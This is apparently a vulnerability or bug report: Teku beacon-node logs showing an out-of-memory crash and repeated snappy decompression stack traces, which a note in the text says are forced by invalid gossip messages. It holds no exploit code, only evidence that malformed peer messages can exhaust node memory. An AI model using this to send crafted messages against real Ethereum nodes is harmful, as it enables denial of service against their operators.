12:08:25.370 INFO  - Slot Event  *** Slot: 222341, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:08:36.979 INFO  - Slot Event  *** Slot: 222342, Block: a5df3d..7abb, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:49.563 INFO  - Slot Event  *** Slot: 222343, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:09:01.588 INFO  - Slot Event  *** Slot: 222344, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:09:13.453 INFO  - Slot Event  *** Slot: 222345, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:09:25.071 INFO  - Slot Event  *** Slot: 222346, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:09:37.203 INFO  - Slot Event  *** Slot: 222347, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:09:49.321 INFO  - Slot Event  *** Slot: 222348, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:10:01.054 INFO  - Slot Event  *** Slot: 222349, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:10:13.104 INFO  - Slot Event  *** Slot: 222350, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 31
12:10:25.082 INFO  - Slot Event  *** Slot: 222351, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 31
12:10:36.785 INFO  - Slot Event  *** Slot: 222352, Block: 6745e9..ead5, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:10:48.769 INFO  - Slot Event  *** Slot: 222353, Block: 480aa7..aad7, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:11:00.734 INFO  - Slot Event  *** Slot: 222354, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:11:12.749 INFO  - Slot Event  *** Slot: 222355, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:11:24.746 INFO  - Slot Event  *** Slot: 222356, Block: ee96f7..266c, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:11:36.755 INFO  - Slot Event  *** Slot: 222357, Block: 1d5d20..dbb5, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:11:48.789 INFO  - Slot Event  *** Slot: 222358, Block: d4362b..60f1, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:12:00.753 INFO  - Slot Event  *** Slot: 222359, Block: 7d3c91..2272, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:12:12.815 INFO  - Slot Event  *** Slot: 222360, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:12:24.773 INFO  - Slot Event  *** Slot: 222361, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:12:36.763 INFO  - Slot Event  *** Slot: 222362, Block: a97013..e64c, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:12:48.767 INFO  - Slot Event  *** Slot: 222363, Block: 8a0e5c..a296, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:13:00.769 INFO  - Slot Event  *** Slot: 222364, Block: dc95f4..eacf, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:13:12.794 INFO  - Slot Event  *** Slot: 222365, Block: 1e9a1f..0111, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:13:24.817 INFO  - Slot Event  *** Slot: 222366, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 43
12:13:37.127 INFO  - Slot Event  *** Slot: 222367, Block: a55b9c..338f, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 45
12:13:44.496 INFO  - Epoch Event *** Epoch: 6949, Justified checkpoint: 6947, Finalized checkpoint: 6946, Finalized root: caadae..b936


12:13:48.880 INFO  - Slot Event  *** Slot: 222368, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 43

12:14:01.084 INFO  - Slot Event  *** Slot: 222369, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 41
12:14:13.464 INFO  - Slot Event  *** Slot: 222370, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 41
12:14:25.161 INFO  - Slot Event  *** Slot: 222371, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 41
12:14:36.991 INFO  - Slot Event  *** Slot: 222372, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 39
12:14:49.019 INFO  - Slot Event  *** Slot: 222373, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 40
12:15:00.986 INFO  - Slot Event  *** Slot: 222374, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:15:13.034 INFO  - Slot Event  *** Slot: 222375, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:15:24.982 INFO  - Slot Event  *** Slot: 222376, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:15:36.991 INFO  - Slot Event  *** Slot: 222377, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:15:48.995 INFO  - Slot Event  *** Slot: 222378, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:16:00.985 INFO  - Slot Event  *** Slot: 222379, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:16:13.053 INFO  - Slot Event  *** Slot: 222380, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:16:24.953 INFO  - Slot Event  *** Slot: 222381, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:16:37.392 INFO  - Slot Event  *** Slot: 222382, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:16:49.032 INFO  - Slot Event  *** Slot: 222383, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:00.999 INFO  - Slot Event  *** Slot: 222384, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:17:13.277 INFO  - Slot Event  *** Slot: 222385, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:24.962 INFO  - Slot Event  *** Slot: 222386, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:36.949 INFO  - Slot Event  *** Slot: 222387, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:49.131 INFO  - Slot Event  *** Slot: 222388, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:18:01.031 INFO  - Slot Event  *** Slot: 222389, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:18:13.180 INFO  - Slot Event  *** Slot: 222390, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:18:25.012 INFO  - Slot Event  *** Slot: 222391, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:18:37.016 INFO  - Slot Event  *** Slot: 222392, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:18:49.328 INFO  - Slot Event  *** Slot: 222393, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:19:01.037 INFO  - Slot Event  *** Slot: 222394, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:13.001 INFO  - Slot Event  *** Slot: 222395, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:25.060 INFO  - Slot Event  *** Slot: 222396, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:19:36.851 INFO  - Slot Event  *** Slot: 222397, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:49.023 INFO  - Slot Event  *** Slot: 222398, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:20:00.978 INFO  - Slot Event  *** Slot: 222399, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:08.493 INFO  - Epoch Event *** Epoch: 6950, Justified checkpoint: 6947, Finalized checkpoint: 6946, Finalized root: caadae..b936
12:20:19.203 INFO  - Slot Event  *** Slot: 222400, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:25.148 INFO  - Slot Event  *** Slot: 222401, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:20:35.005 INFO  - Sync Event  *** Current slot: 222402, Head slot: 222367, Connected peers: 32
java.lang.OutOfMemoryError: Java heap space
Dumping heap to java_pid12109.hprof ...
Heap dump file created [899176967 bytes in 4.576 secs]
12:21:08.746 INFO  - Sync Event  *** Current slot: 222403, Head slot: 222400, Connected peers: 31
12:21:15.845 INFO  - Sync Event  *** Current slot: 222404, Head slot: 222401, Connected peers: 31
12:21:16.913 INFO  - Slot Event  *** Slot: 222405, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:21:24.932 INFO  - Slot Event  *** Slot: 222406, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:21:37.041 INFO  - Slot Event  *** Slot: 222407, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 32
12:21:49.009 INFO  - Slot Event  *** Slot: 222408, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:22:01.104 INFO  - Slot Event  *** Slot: 222409, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:22:13.384 INFO  - Slot Event  *** Slot: 222410, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 32
12:22:25.104 INFO  - Slot Event  *** Slot: 222411, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:22:37.058 INFO  - Slot Event  *** Slot: 222412, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:22:49.082 INFO  - Slot Event  *** Slot: 222413, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:23:01.033 INFO  - Slot Event  *** Slot: 222414, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:23:13.093 INFO  - Slot Event  *** Slot: 222415, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:23:25.044 INFO  - Slot Event  *** Slot: 222416, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:23:37.052 INFO  - Slot Event  *** Slot: 222417, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:23:49.031 INFO  - Slot Event  *** Slot: 222418, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:24:01.240 INFO  - Slot Event  *** Slot: 222419, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:24:13.101 INFO  - Slot Event  *** Slot: 222420, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:24:25.263 INFO  - Slot Event  *** Slot: 222421, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:24:37.229 INFO  - Slot Event  *** Slot: 222422, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:24:49.051 INFO  - Slot Event  *** Slot: 222423, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 28
12:25:01.327 INFO  - Slot Event  *** Slot: 222424, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 27
12:25:13.274 INFO  - Slot Event  *** Slot: 222425, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 26
12:25:25.081 INFO  - Slot Event  *** Slot: 222426, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 27
12:25:37.252 INFO  - Slot Event  *** Slot: 222427, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:25:49.119 INFO  - Slot Event  *** Slot: 222428, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:26:01.033 INFO  - Slot Event  *** Slot: 222429, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 26
12:26:13.237 INFO  - Slot Event  *** Slot: 222430, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:26:25.116 INFO  - Slot Event  *** Slot: 222431, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:26:32.534 INFO  - Epoch Event *** Epoch: 6951, Justified checkpoint: 6949, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e
12:26:37.495 INFO  - Slot Event  *** Slot: 222432, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 26
12:26:49.028 INFO  - Slot Event  *** Slot: 222433, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:27:02.726 INFO  - Slot Event  *** Slot: 222434, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:13.243 INFO  - Slot Event  *** Slot: 222435, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:25.376 INFO  - Slot Event  *** Slot: 222436, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:37.036 INFO  - Slot Event  *** Slot: 222437, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:49.073 INFO  - Slot Event  *** Slot: 222438, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:01.635 INFO  - Slot Event  *** Slot: 222439, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:13.148 INFO  - Slot Event  *** Slot: 222440, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:25.069 INFO  - Slot Event  *** Slot: 222441, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:37.133 INFO  - Slot Event  *** Slot: 222442, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:49.067 INFO  - Slot Event  *** Slot: 222443, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:29:01.184 INFO  - Slot Event  *** Slot: 222444, Block:    ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24

Teku log:

  • showing the stack traces forced by invalid snappy messages
  • note that this might either end in an uncompress error (and allocating memory) or java lang out of memory exceptions when trying to allocate more mem than available to the JVM.
tintin@takeshii:~/workspace/java/teku|master⚑ 
β‡’  tail -n 200 /Users/tintin/Library/teku/logs/teku.log        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
        at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
        at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
        at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:31) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more
Caused by: java.io.IOException: FAILED_TO_UNCOMPRESS(5)
        at org.xerial.snappy.SnappyNative.throw_error(SnappyNative.java:112) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.SnappyNative.rawUncompress(Native Method) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.rawUncompress(Snappy.java:478) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:517) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:492) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more
2020-09-04 12:27:30.474+02:00 | P2PService-event-thread-0 | WARN  | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
        at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
        at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
        at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
        at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
        at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
        at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
        at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:31) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more
Caused by: java.io.IOException: FAILED_TO_UNCOMPRESS(5)
        at org.xerial.snappy.SnappyNative.throw_error(SnappyNative.java:112) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.SnappyNative.rawUncompress(Native Method) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.rawUncompress(Snappy.java:478) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:517) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:492) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
